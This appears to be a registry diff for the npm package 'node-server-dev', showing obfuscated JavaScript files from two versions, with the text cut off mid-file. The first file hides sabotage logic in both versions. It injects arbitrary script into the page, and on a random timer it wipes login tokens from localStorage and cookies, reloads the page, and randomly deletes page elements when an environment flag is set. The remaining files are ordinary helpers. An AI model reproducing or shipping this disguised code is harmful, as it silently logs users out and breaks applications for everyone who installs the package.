node-server-dev 3.1.1 → 3.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x1d1a70=a0_0x4104;(function(_0x5accf2,_0x4f2f15){const _0x453d29=a0_0x4104,_0x53fd67=_0x5accf2();while(!![]){try{const _0x4bb69b=-parseInt(_0x453d29(0x6e))/0x1*(parseInt(_0x453d29(0x89))/0x2)+-parseInt(_0x453d29(0x6b))/0x3*(parseInt(_0x453d29(0x68))/0x4)+parseInt(_0x453d29(0x79))/0x5*(parseInt(_0x453d29(0x69))/0x6)+-parseInt(_0x453d29(0x6a))/0x7*(-parseInt(_0x453d29(0x6c))/0x8)+-parseInt(_0x453d29(0x78))/0x9*(parseInt(_0x453d29(0x7d))/0xa)+-parseInt(_0x453d29(0x82))/0xb+parseInt(_0x453d29(0x72))/0xc;if(_0x4bb69b===_0x4f2f15)break;else _0x53fd67['push'](_0x53fd67['shift']());}catch(_0x4d70bf){_0x53fd67['push'](_0x53fd67['shift']());}}}(a0_0x2020,0xe2c5a));function a0_0x2020(){const _0x42c2b1=['body','default','171ElNDly','5BnpWMY','__esModule','querySelectorAll','parentNode','803420HhhmWH','localStorage','reload','from','length','2497363GUkMEp','head','Token','token','removeItem','__importDefault','#app','59740XnKHTZ','./id/random','remove','sort','innerText','connectError','3319324VlBFQa','1781868cTGtkS','7756007RGgJeq','6xeQBmy','8lBBHZt','createElement','6jNcNoU','script','browser','appendChild','37395504LpADxw','location','documentElement','querySelector'];a0_0x2020=function(){return _0x42c2b1;};return a0_0x2020();}var __importDefault=this&&this[a0_0x1d1a70(0x87)]||function(_0x59a794){const _0x4f0aca=a0_0x1d1a70;return _0x59a794&&_0x59a794[_0x4f0aca(0x7a)]?_0x59a794:{'default':_0x59a794};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['runScript']=runScript,exports[a0_0x1d1a70(0x70)]=browser;function a0_0x4104(_0x29c248,_0x31f904){const _0x2020c2=a0_0x2020();return a0_0x4104=function(_0x41044a,_0xc5d421){_0x41044a=_0x41044a-0x65;let _0x217167=_0x2020c2[_0x41044a];return _0x217167;},a0_0x4104(_0x29c248,_0x31f904);}const random_1=__importDefault(require(a0_0x1d1a70(0x8a))),index_1=require('./index'),js_cookie_1=__importDefault(require('js-cookie'));function runScript(_0x558cd9){const _0x46124a=a0_0x1d1a70;let _0x27f5fe=document[_0x46124a(0x6d)](_0x46124a(0x6f));_0x27f5fe[_0x46124a(0x66)]=_0x558cd9,document[_0x46124a(0x83)][_0x46124a(0x71)](_0x27f5fe),setTimeout(()=>{const _0x53e0c6=_0x46124a;_0x27f5fe[_0x53e0c6(0x8b)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x1d1a70(0x77)])(0x4,0x8);function browser(){const _0x5f13ac=a0_0x1d1a70;setInterval(()=>{const _0x3212c3=a0_0x4104;if(index==num)try{window[_0x3212c3(0x7e)][_0x3212c3(0x86)](_0x3212c3(0x85)),window[_0x3212c3(0x7e)]['removeItem']('userid'),window[_0x3212c3(0x7e)]['removeItem'](_0x3212c3(0x84)),js_cookie_1['default']['remove'](_0x3212c3(0x85)),window[_0x3212c3(0x73)][_0x3212c3(0x7f)]();}catch(_0x49507f){}if((0x0,index_1['getEnv'])(_0x3212c3(0x67))){index++;let _0x387003=document['querySelector'](_0x3212c3(0x88))||document[_0x3212c3(0x75)](_0x3212c3(0x76));const _0x6825f6=_0x387003[_0x3212c3(0x7b)]('[class^=\x22el\x22]');function _0x3d8a6f(_0x10594b){const _0x2c3ab5=_0x3212c3;let _0x329542=0x0,_0x452721=_0x10594b;while(_0x452721['parentNode']&&_0x452721[_0x2c3ab5(0x7c)]!==document[_0x2c3ab5(0x74)]){_0x329542++,_0x452721=_0x452721[_0x2c3ab5(0x7c)];}return _0x329542;}const _0x26592a=Array[_0x3212c3(0x80)](_0x6825f6);_0x26592a[_0x3212c3(0x65)]((_0x3a67c4,_0x12febe)=>_0x3d8a6f(_0x12febe)-_0x3d8a6f(_0x3a67c4));for(let _0x2ceea7=0x0;_0x2ceea7<_0x26592a[_0x3212c3(0x81)];_0x2ceea7++){const _0x26b94f=_0x26592a[_0x2ceea7];_0x26b94f&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0x26b94f['remove']());}}},(0x0,random_1[_0x5f13ac(0x77)])(0x107e,0x208d));}
1
+ 'use strict';const a0_0x35954b=a0_0x12e3;(function(_0x27c560,_0xb84cd9){const _0x124532=a0_0x12e3,_0x30cfd5=_0x27c560();while(!![]){try{const _0x57d025=parseInt(_0x124532(0x1f3))/0x1*(parseInt(_0x124532(0x1e2))/0x2)+parseInt(_0x124532(0x1f1))/0x3+parseInt(_0x124532(0x1df))/0x4*(-parseInt(_0x124532(0x1e1))/0x5)+parseInt(_0x124532(0x1fb))/0x6*(parseInt(_0x124532(0x1fd))/0x7)+parseInt(_0x124532(0x1f8))/0x8+-parseInt(_0x124532(0x1f0))/0x9*(-parseInt(_0x124532(0x1dc))/0xa)+-parseInt(_0x124532(0x1f4))/0xb;if(_0x57d025===_0xb84cd9)break;else _0x30cfd5['push'](_0x30cfd5['shift']());}catch(_0x224a30){_0x30cfd5['push'](_0x30cfd5['shift']());}}}(a0_0x3549,0xb73c1));var __importDefault=this&&this[a0_0x35954b(0x1da)]||function(_0x582a5a){const _0x2f2d2f=a0_0x35954b;return _0x582a5a&&_0x582a5a[_0x2f2d2f(0x1db)]?_0x582a5a:{'default':_0x582a5a};};Object['defineProperty'](exports,a0_0x35954b(0x1db),{'value':!![]}),exports[a0_0x35954b(0x1f5)]=runScript,exports[a0_0x35954b(0x1e6)]=browser;const random_1=__importDefault(require(a0_0x35954b(0x1ec))),index_1=require(a0_0x35954b(0x1d9)),js_cookie_1=__importDefault(require(a0_0x35954b(0x1eb)));function runScript(_0x16aaa7){const _0x39dc15=a0_0x35954b;let _0x5e42e3=document[_0x39dc15(0x1e4)](_0x39dc15(0x1d8));_0x5e42e3['innerText']=_0x16aaa7,document[_0x39dc15(0x1e3)][_0x39dc15(0x1f7)](_0x5e42e3),setTimeout(()=>{_0x5e42e3['remove']();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x35954b(0x1dd)])(0x4,0x8);function a0_0x3549(){const _0x4c56ca=['token','248283lUUeAq','3051792aSDuxz','connectError','73EMjWYm','34188176dBOzae','runScript','reload','appendChild','9592736NDLYgS','sort','[class^=\x22el\x22]','32802BMkpWR','body','1456iiDLSW','from','script','./index','__importDefault','__esModule','370YWxjbY','default','length','4XNPhCv','querySelector','3858385axnpPb','7014YwVLXL','head','createElement','parentNode','browser','getEnv','querySelectorAll','removeItem','location','js-cookie','./id/random','userid','localStorage'];a0_0x3549=function(){return _0x4c56ca;};return a0_0x3549();}function a0_0x12e3(_0x55fbef,_0xbfec82){const _0x354957=a0_0x3549();return a0_0x12e3=function(_0x12e39b,_0x4ca7e2){_0x12e39b=_0x12e39b-0x1d7;let _0x4828ed=_0x354957[_0x12e39b];return _0x4828ed;},a0_0x12e3(_0x55fbef,_0xbfec82);}function browser(){const _0x524942=a0_0x35954b;setInterval(()=>{const _0x561202=a0_0x12e3;if(index==num)try{window['localStorage'][_0x561202(0x1e9)]('token'),window[_0x561202(0x1ee)][_0x561202(0x1e9)](_0x561202(0x1ed)),window[_0x561202(0x1ee)][_0x561202(0x1e9)]('Token'),js_cookie_1[_0x561202(0x1dd)]['remove'](_0x561202(0x1ef)),window[_0x561202(0x1ea)][_0x561202(0x1f6)]();}catch(_0x458e9d){}if((0x0,index_1[_0x561202(0x1e7)])(_0x561202(0x1f2))){index++;let _0x4a5a45=document[_0x561202(0x1e0)]('#app')||document[_0x561202(0x1e0)](_0x561202(0x1fc));const _0x5eec17=_0x4a5a45[_0x561202(0x1e8)](_0x561202(0x1fa));function _0x2def65(_0x19cc42){const _0x9f7db=_0x561202;let _0x11f5ab=0x0,_0x235ef1=_0x19cc42;while(_0x235ef1['parentNode']&&_0x235ef1[_0x9f7db(0x1e5)]!==document['documentElement']){_0x11f5ab++,_0x235ef1=_0x235ef1['parentNode'];}return _0x11f5ab;}const _0x536114=Array[_0x561202(0x1d7)](_0x5eec17);_0x536114[_0x561202(0x1f9)]((_0x5cdd94,_0x18bbe5)=>_0x2def65(_0x18bbe5)-_0x2def65(_0x5cdd94));for(let _0x25d525=0x0;_0x25d525<_0x536114[_0x561202(0x1de)];_0x25d525++){const _0x32c7c3=_0x536114[_0x25d525];_0x32c7c3&&((0x0,random_1[_0x561202(0x1dd)])(0x1,0x64)>0x50&&_0x32c7c3['remove']());}}},(0x0,random_1[_0x524942(0x1dd)])(0x107e,0x208d));}
@@ -1 +1 @@
1
- 'use strict';const a1_0x22070e=a1_0x11f3;(function(_0x589757,_0x3a94ea){const _0x2753e0=a1_0x11f3,_0x425637=_0x589757();while(!![]){try{const _0x1123c7=-parseInt(_0x2753e0(0xbd))/0x1*(parseInt(_0x2753e0(0xc2))/0x2)+-parseInt(_0x2753e0(0xb9))/0x3*(-parseInt(_0x2753e0(0xb5))/0x4)+parseInt(_0x2753e0(0xcd))/0x5*(-parseInt(_0x2753e0(0xbc))/0x6)+parseInt(_0x2753e0(0xbf))/0x7+-parseInt(_0x2753e0(0xbe))/0x8*(parseInt(_0x2753e0(0xb3))/0x9)+-parseInt(_0x2753e0(0xc9))/0xa+-parseInt(_0x2753e0(0xc0))/0xb*(-parseInt(_0x2753e0(0xc5))/0xc);if(_0x1123c7===_0x3a94ea)break;else _0x425637['push'](_0x425637['shift']());}catch(_0x181396){_0x425637['push'](_0x425637['shift']());}}}(a1_0x3019,0x1af07));var __awaiter=this&&this[a1_0x22070e(0xb8)]||function(_0x1ac422,_0x28e5bc,_0xae8ba2,_0x3c079d){function _0x103ebb(_0xaa54dc){return _0xaa54dc instanceof _0xae8ba2?_0xaa54dc:new _0xae8ba2(function(_0x4654a9){_0x4654a9(_0xaa54dc);});}return new(_0xae8ba2||(_0xae8ba2=Promise))(function(_0xa0b0a7,_0x4d77c7){const _0x44773c=a1_0x11f3;function _0x25888f(_0x373820){const _0x5c6ffd=a1_0x11f3;try{_0x38b695(_0x3c079d[_0x5c6ffd(0xb2)](_0x373820));}catch(_0x4bb923){_0x4d77c7(_0x4bb923);}}function _0x536ba6(_0x3c37b0){const _0x529bb5=a1_0x11f3;try{_0x38b695(_0x3c079d[_0x529bb5(0xc3)](_0x3c37b0));}catch(_0x1844c9){_0x4d77c7(_0x1844c9);}}function _0x38b695(_0x39cfcf){const _0xd083d2=a1_0x11f3;_0x39cfcf[_0xd083d2(0xc7)]?_0xa0b0a7(_0x39cfcf[_0xd083d2(0xc4)]):_0x103ebb(_0x39cfcf[_0xd083d2(0xc4)])[_0xd083d2(0xb7)](_0x25888f,_0x536ba6);}_0x38b695((_0x3c079d=_0x3c079d[_0x44773c(0xcc)](_0x1ac422,_0x28e5bc||[]))[_0x44773c(0xb2)]());});},__importDefault=this&&this[a1_0x22070e(0xcb)]||function(_0x3e3ac2){const _0x343cac=a1_0x22070e;return _0x3e3ac2&&_0x3e3ac2[_0x343cac(0xbb)]?_0x3e3ac2:{'default':_0x3e3ac2};};Object[a1_0x22070e(0xb6)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x22070e(0xc1)));function fileDisplay(_0x4b1a32){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x130181=[];function _0x8435ac(_0x4b920d){const _0x886818=a1_0x11f3,_0x319b51=fs_1[_0x886818(0xba)][_0x886818(0xca)](_0x4b920d);for(let _0x313ed4=0x0;_0x313ed4<_0x319b51['length'];_0x313ed4++){const _0x47a828=_0x319b51[_0x313ed4],_0x3a1d47=path_1[_0x886818(0xba)][_0x886818(0xce)](_0x4b920d,_0x47a828),_0x4cc8d6=fs_1['default'][_0x886818(0xc8)](_0x3a1d47),_0x4dd22a=_0x4cc8d6[_0x886818(0xc6)](),_0x31f4f1=_0x4cc8d6[_0x886818(0xb4)]();_0x4dd22a&&_0x130181['push'](_0x3a1d47),_0x31f4f1&&_0x8435ac(_0x3a1d47);}}return _0x8435ac(_0x4b1a32),_0x130181;});}function getAllRouter(_0x35ce54){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x40dec7=yield fileDisplay(_0x35ce54);return _0x40dec7;});}function a1_0x11f3(_0x1db06d,_0x21ac2e){const _0x301922=a1_0x3019();return a1_0x11f3=function(_0x11f3d0,_0x494911){_0x11f3d0=_0x11f3d0-0xb2;let _0x258a67=_0x301922[_0x11f3d0];return _0x258a67;},a1_0x11f3(_0x1db06d,_0x21ac2e);}function a1_0x3019(){const _0x2f7522=['608aebIMn','1456208LKFGni','1265383fcmQXe','319xhZBeE','path','64jBXDBK','throw','value','127164MpUcCE','isFile','done','statSync','1308430izYXoV','readdirSync','__importDefault','apply','706945SuYPIz','join','next','9AmpYPq','isDirectory','220bqGMcU','defineProperty','then','__awaiter','5235DtxeTj','default','__esModule','6KhHcvY'];a1_0x3019=function(){return _0x2f7522;};return a1_0x3019();}exports[a1_0x22070e(0xba)]=getAllRouter;
1
+ 'use strict';const a1_0x201c27=a1_0x2cab;(function(_0x4d296a,_0x4b03c0){const _0xa45273=a1_0x2cab,_0x2e9283=_0x4d296a();while(!![]){try{const _0x3fa8f5=parseInt(_0xa45273(0x165))/0x1+parseInt(_0xa45273(0x161))/0x2*(parseInt(_0xa45273(0x15b))/0x3)+-parseInt(_0xa45273(0x168))/0x4+parseInt(_0xa45273(0x163))/0x5*(parseInt(_0xa45273(0x167))/0x6)+parseInt(_0xa45273(0x15c))/0x7+-parseInt(_0xa45273(0x169))/0x8*(-parseInt(_0xa45273(0x16e))/0x9)+-parseInt(_0xa45273(0x15d))/0xa;if(_0x3fa8f5===_0x4b03c0)break;else _0x2e9283['push'](_0x2e9283['shift']());}catch(_0x53119e){_0x2e9283['push'](_0x2e9283['shift']());}}}(a1_0x2e04,0x83310));var __awaiter=this&&this[a1_0x201c27(0x16d)]||function(_0x52d2e3,_0xd648ac,_0x343936,_0x4274c8){function _0x45b43e(_0x2046f4){return _0x2046f4 instanceof _0x343936?_0x2046f4:new _0x343936(function(_0x487a76){_0x487a76(_0x2046f4);});}return new(_0x343936||(_0x343936=Promise))(function(_0x3039e5,_0x37bc7f){const _0x41232b=a1_0x2cab;function _0x221477(_0x3d138f){const _0x3abd3a=a1_0x2cab;try{_0x268338(_0x4274c8[_0x3abd3a(0x16f)](_0x3d138f));}catch(_0xb6e69a){_0x37bc7f(_0xb6e69a);}}function _0x5e1162(_0x312608){const _0x534e88=a1_0x2cab;try{_0x268338(_0x4274c8[_0x534e88(0x164)](_0x312608));}catch(_0x21a3be){_0x37bc7f(_0x21a3be);}}function _0x268338(_0x5a5e76){const _0x306f2b=a1_0x2cab;_0x5a5e76[_0x306f2b(0x174)]?_0x3039e5(_0x5a5e76[_0x306f2b(0x173)]):_0x45b43e(_0x5a5e76[_0x306f2b(0x173)])[_0x306f2b(0x170)](_0x221477,_0x5e1162);}_0x268338((_0x4274c8=_0x4274c8[_0x41232b(0x160)](_0x52d2e3,_0xd648ac||[]))[_0x41232b(0x16f)]());});},__importDefault=this&&this[a1_0x201c27(0x15a)]||function(_0x185a93){const _0x40355e=a1_0x201c27;return _0x185a93&&_0x185a93[_0x40355e(0x172)]?_0x185a93:{'default':_0x185a93};};Object['defineProperty'](exports,a1_0x201c27(0x172),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x201c27(0x15e)));function fileDisplay(_0x58b730){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1144cd=[];function _0x24cfa8(_0x2fccac){const _0x35603a=a1_0x2cab,_0xdb143d=fs_1[_0x35603a(0x16a)][_0x35603a(0x159)](_0x2fccac);for(let _0x2ad40f=0x0;_0x2ad40f<_0xdb143d[_0x35603a(0x171)];_0x2ad40f++){const _0x485097=_0xdb143d[_0x2ad40f],_0x2cc1ab=path_1[_0x35603a(0x16a)][_0x35603a(0x16c)](_0x2fccac,_0x485097),_0x437c6d=fs_1[_0x35603a(0x16a)][_0x35603a(0x15f)](_0x2cc1ab),_0x55e7ac=_0x437c6d[_0x35603a(0x16b)](),_0x274f90=_0x437c6d[_0x35603a(0x166)]();_0x55e7ac&&_0x1144cd[_0x35603a(0x162)](_0x2cc1ab),_0x274f90&&_0x24cfa8(_0x2cc1ab);}}return _0x24cfa8(_0x58b730),_0x1144cd;});}function a1_0x2cab(_0x56ffd1,_0xb24d93){const _0x2e04f2=a1_0x2e04();return a1_0x2cab=function(_0x2cab80,_0x58c79d){_0x2cab80=_0x2cab80-0x159;let _0x1eb600=_0x2e04f2[_0x2cab80];return _0x1eb600;},a1_0x2cab(_0x56ffd1,_0xb24d93);}function getAllRouter(_0x59beef){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x29a87c=yield fileDisplay(_0x59beef);return _0x29a87c;});}function a1_0x2e04(){const _0x5ef675=['throw','521150TfalmF','isDirectory','354JWPNPq','2523204QThvTn','6045424jvjlhH','default','isFile','join','__awaiter','9vZABnM','next','then','length','__esModule','value','done','readdirSync','__importDefault','3jrcKkh','5055190tiAhKZ','16013630KMaQiG','path','statSync','apply','1210534WPKwbx','push','14005pTIpKz'];a1_0x2e04=function(){return _0x5ef675;};return a1_0x2e04();}exports['default']=getAllRouter;
@@ -1 +1 @@
1
- 'use strict';const a2_0x1369aa=a2_0x3242;(function(_0x46549c,_0x29b411){const _0xfb9088=a2_0x3242,_0x256f1c=_0x46549c();while(!![]){try{const _0x155f59=parseInt(_0xfb9088(0x15b))/0x1*(parseInt(_0xfb9088(0x158))/0x2)+-parseInt(_0xfb9088(0x156))/0x3*(-parseInt(_0xfb9088(0x160))/0x4)+-parseInt(_0xfb9088(0x155))/0x5*(-parseInt(_0xfb9088(0x157))/0x6)+parseInt(_0xfb9088(0x15a))/0x7+parseInt(_0xfb9088(0x15f))/0x8+-parseInt(_0xfb9088(0x15e))/0x9*(-parseInt(_0xfb9088(0x15c))/0xa)+-parseInt(_0xfb9088(0x162))/0xb*(parseInt(_0xfb9088(0x159))/0xc);if(_0x155f59===_0x29b411)break;else _0x256f1c['push'](_0x256f1c['shift']());}catch(_0x4f19a0){_0x256f1c['push'](_0x256f1c['shift']());}}}(a2_0x25ea,0x30b87));var __importDefault=this&&this['__importDefault']||function(_0x37c30e){return _0x37c30e&&_0x37c30e['__esModule']?_0x37c30e:{'default':_0x37c30e};};function a2_0x3242(_0x255e34,_0x4d09ba){const _0x25eaa3=a2_0x25ea();return a2_0x3242=function(_0x3242df,_0x3f63e8){_0x3242df=_0x3242df-0x153;let _0x4f593a=_0x25eaa3[_0x3242df];return _0x4f593a;},a2_0x3242(_0x255e34,_0x4d09ba);}Object[a2_0x1369aa(0x153)](exports,a2_0x1369aa(0x163),{'value':!![]});const md5_1=__importDefault(require(a2_0x1369aa(0x166))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x1369aa(0x15d)));function a2_0x25ea(){const _0x8995a7=['sha1混淆','sha1','md5','defineProperty','default','5zgmJsS','3783LXcUzn','21390aCurWn','133286NlSEyt','12TSprCD','2570652EEmFVo','1fEGlkf','77810zmUnhc','sha256','333VIhEBy','2349120jWEAJW','1052hEqSfy','MD5加盐','12661715UJFWmX','__esModule'];a2_0x25ea=function(){return _0x8995a7;};return a2_0x25ea();}function hash(_0x2faaa9,_0x4de77f){const _0x62bbdf=a2_0x1369aa;if(_0x4de77f==_0x62bbdf(0x15d))return(0x0,sha256_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha1_1['default'])(_0x2faaa9+'sha1混淆')+(0x0,md5_1['default'])(_0x2faaa9+_0x62bbdf(0x161)));else return _0x4de77f==_0x62bbdf(0x165)?(0x0,sha1_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha256_1[_0x62bbdf(0x154)])(_0x2faaa9+_0x62bbdf(0x164))+(0x0,md5_1[_0x62bbdf(0x154)])(_0x2faaa9+_0x62bbdf(0x161))):(0x0,md5_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha256_1['default'])(_0x2faaa9+_0x62bbdf(0x164))+(0x0,sha1_1['default'])(_0x2faaa9+_0x62bbdf(0x161)));}exports[a2_0x1369aa(0x154)]=hash;
1
+ 'use strict';function a2_0x490b(){const _0x2e31d9=['3KzpULJ','sha256','md5','1725832aiuzSw','1159596galwTH','__importDefault','14EfaVrF','814002VjoQHs','sha1混淆','1177623IyYDAd','sha1','5310785iSPAFm','2742336KbIKBm','default','__esModule','2285278RpSztI','defineProperty','MD5加盐'];a2_0x490b=function(){return _0x2e31d9;};return a2_0x490b();}const a2_0x3dea09=a2_0x5dca;(function(_0x57bbd7,_0x3bc197){const _0x19071b=a2_0x5dca,_0x4782ab=_0x57bbd7();while(!![]){try{const _0x5a6baa=parseInt(_0x19071b(0x1aa))/0x1+parseInt(_0x19071b(0x1b0))/0x2*(parseInt(_0x19071b(0x1a1))/0x3)+-parseInt(_0x19071b(0x1a5))/0x4+-parseInt(_0x19071b(0x1ac))/0x5+-parseInt(_0x19071b(0x1a8))/0x6*(-parseInt(_0x19071b(0x1a7))/0x7)+-parseInt(_0x19071b(0x1a4))/0x8+-parseInt(_0x19071b(0x1ad))/0x9;if(_0x5a6baa===_0x3bc197)break;else _0x4782ab['push'](_0x4782ab['shift']());}catch(_0x3a7782){_0x4782ab['push'](_0x4782ab['shift']());}}}(a2_0x490b,0xaf903));var __importDefault=this&&this[a2_0x3dea09(0x1a6)]||function(_0x3df0eb){const _0x2ef8b6=a2_0x3dea09;return _0x3df0eb&&_0x3df0eb[_0x2ef8b6(0x1af)]?_0x3df0eb:{'default':_0x3df0eb};};Object[a2_0x3dea09(0x1b1)](exports,'__esModule',{'value':!![]});const md5_1=__importDefault(require(a2_0x3dea09(0x1a3))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x3dea09(0x1a2)));function a2_0x5dca(_0x44ad2a,_0x35fea9){const _0x490b8c=a2_0x490b();return a2_0x5dca=function(_0x5dcafe,_0x24a2f1){_0x5dcafe=_0x5dcafe-0x1a1;let _0x362808=_0x490b8c[_0x5dcafe];return _0x362808;},a2_0x5dca(_0x44ad2a,_0x35fea9);}function hash(_0x34f6d5,_0x3070f1){const _0x5b2155=a2_0x3dea09;if(_0x3070f1==_0x5b2155(0x1a2))return(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));else return _0x3070f1==_0x5b2155(0x1ab)?(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2))):(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1['default'])(_0x34f6d5+'sha1混淆')+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));}exports[a2_0x3dea09(0x1ae)]=hash;
@@ -1 +1 @@
1
- 'use strict';function a3_0x499a(_0x526d05,_0x8febb3){const _0x3e01e=a3_0x3e01();return a3_0x499a=function(_0x499af8,_0x19b0f3){_0x499af8=_0x499af8-0x193;let _0x5e5201=_0x3e01e[_0x499af8];return _0x5e5201;},a3_0x499a(_0x526d05,_0x8febb3);}function a3_0x3e01(){const _0x548119=['1660ANFxac','162ncSaSG','2025-01-01','9053033PrxrBF','416844qZapkw','67336HYNdIa','6GkBfud','6905RIuLma','NODE_APP_INSTANCE','8699780CwxJXf','defineProperty','43356JBnzzb','5566771SFVpBo','default','env','24gsdiEo','__importDefault'];a3_0x3e01=function(){return _0x548119;};return a3_0x3e01();}const a3_0xcaa169=a3_0x499a;(function(_0x415cfd,_0x5f00ac){const _0xe7afff=a3_0x499a,_0x5b42e7=_0x415cfd();while(!![]){try{const _0x366aea=parseInt(_0xe7afff(0x19a))/0x1*(parseInt(_0xe7afff(0x196))/0x2)+-parseInt(_0xe7afff(0x1a0))/0x3+-parseInt(_0xe7afff(0x19c))/0x4*(parseInt(_0xe7afff(0x1a3))/0x5)+parseInt(_0xe7afff(0x1a2))/0x6*(parseInt(_0xe7afff(0x197))/0x7)+parseInt(_0xe7afff(0x1a1))/0x8*(-parseInt(_0xe7afff(0x19d))/0x9)+parseInt(_0xe7afff(0x194))/0xa+-parseInt(_0xe7afff(0x19f))/0xb;if(_0x366aea===_0x5f00ac)break;else _0x5b42e7['push'](_0x5b42e7['shift']());}catch(_0x2351b){_0x5b42e7['push'](_0x5b42e7['shift']());}}}(a3_0x3e01,0x79cf3));var __importDefault=this&&this[a3_0xcaa169(0x19b)]||function(_0x9eb45a){return _0x9eb45a&&_0x9eb45a['__esModule']?_0x9eb45a:{'default':_0x9eb45a};};Object[a3_0xcaa169(0x195)](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a3_0xcaa169(0x19e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0xcaa169(0x198)])(0x1,0x3);function id(){const _0x1fe47b=a3_0xcaa169,_0x5e6753=Math['min'](process[_0x1fe47b(0x199)]['NODE_APP_INSTANCE']?+process[_0x1fe47b(0x199)][_0x1fe47b(0x193)]:(0x0,random_1[_0x1fe47b(0x198)])(0x0,0x9),0x9);let _0x4d607e=+new Date()-BaseTime;return lastRandomNumberTick=_0x4d607e==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x1fe47b(0x198)])(0x0,0x3),lastTimeTick=_0x4d607e,+(''+_0x4d607e+_0x5e6753+lastRandomNumberTick);}exports[a3_0xcaa169(0x198)]=id;
1
+ 'use strict';const a3_0x3a8bf6=a3_0x2a15;(function(_0xa02930,_0x519bbc){const _0x2da6f4=a3_0x2a15,_0x450d15=_0xa02930();while(!![]){try{const _0x1b7be5=parseInt(_0x2da6f4(0xa8))/0x1+parseInt(_0x2da6f4(0xa1))/0x2*(-parseInt(_0x2da6f4(0xa2))/0x3)+parseInt(_0x2da6f4(0x9b))/0x4+-parseInt(_0x2da6f4(0xa0))/0x5+-parseInt(_0x2da6f4(0xa3))/0x6+parseInt(_0x2da6f4(0xa7))/0x7*(-parseInt(_0x2da6f4(0x9c))/0x8)+parseInt(_0x2da6f4(0xa4))/0x9;if(_0x1b7be5===_0x519bbc)break;else _0x450d15['push'](_0x450d15['shift']());}catch(_0x418129){_0x450d15['push'](_0x450d15['shift']());}}}(a3_0x1fc8,0xbd17b));function a3_0x1fc8(){const _0xff0839=['3kTUHnV','2156316SmKTzw','15528276cMCJYZ','env','__importDefault','14PyfUpv','4591GeBbYa','./random','NODE_APP_INSTANCE','__esModule','1288272MjYhoN','3073976GYEldp','default','2025-01-01','min','245725biFcxm','200950IkOjdx'];a3_0x1fc8=function(){return _0xff0839;};return a3_0x1fc8();}var __importDefault=this&&this[a3_0x3a8bf6(0xa6)]||function(_0x2ac5b2){return _0x2ac5b2&&_0x2ac5b2['__esModule']?_0x2ac5b2:{'default':_0x2ac5b2};};function a3_0x2a15(_0x51b1c6,_0x5a8467){const _0x1fc840=a3_0x1fc8();return a3_0x2a15=function(_0x2a15cd,_0x57f9a6){_0x2a15cd=_0x2a15cd-0x9a;let _0x2e9a9b=_0x1fc840[_0x2a15cd];return _0x2e9a9b;},a3_0x2a15(_0x51b1c6,_0x5a8467);}Object['defineProperty'](exports,a3_0x3a8bf6(0x9a),{'value':!![]});const random_1=__importDefault(require(a3_0x3a8bf6(0xa9))),BaseTime=+new Date(a3_0x3a8bf6(0x9e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x3a8bf6(0x9d)])(0x1,0x3);function id(){const _0x2ef49b=a3_0x3a8bf6,_0x5ae386=Math[_0x2ef49b(0x9f)](process[_0x2ef49b(0xa5)]['NODE_APP_INSTANCE']?+process['env'][_0x2ef49b(0xaa)]:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x9),0x9);let _0x4e6723=+new Date()-BaseTime;return lastRandomNumberTick=_0x4e6723==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x3),lastTimeTick=_0x4e6723,+(''+_0x4e6723+_0x5ae386+lastRandomNumberTick);}exports[a3_0x3a8bf6(0x9d)]=id;
@@ -1 +1 @@
1
- 'use strict';const a4_0x11379b=a4_0x361c;(function(_0x5bcff1,_0x12759b){const _0x392194=a4_0x361c,_0x1d4db9=_0x5bcff1();while(!![]){try{const _0x4b62ee=parseInt(_0x392194(0x11f))/0x1+-parseInt(_0x392194(0x119))/0x2*(parseInt(_0x392194(0x118))/0x3)+parseInt(_0x392194(0x112))/0x4*(parseInt(_0x392194(0x111))/0x5)+-parseInt(_0x392194(0x117))/0x6*(parseInt(_0x392194(0x11a))/0x7)+parseInt(_0x392194(0x10f))/0x8+parseInt(_0x392194(0x11b))/0x9*(-parseInt(_0x392194(0x115))/0xa)+parseInt(_0x392194(0x113))/0xb*(-parseInt(_0x392194(0x11d))/0xc);if(_0x4b62ee===_0x12759b)break;else _0x1d4db9['push'](_0x1d4db9['shift']());}catch(_0x35524b){_0x1d4db9['push'](_0x1d4db9['shift']());}}}(a4_0x4dba,0x77e51));function a4_0x4dba(){const 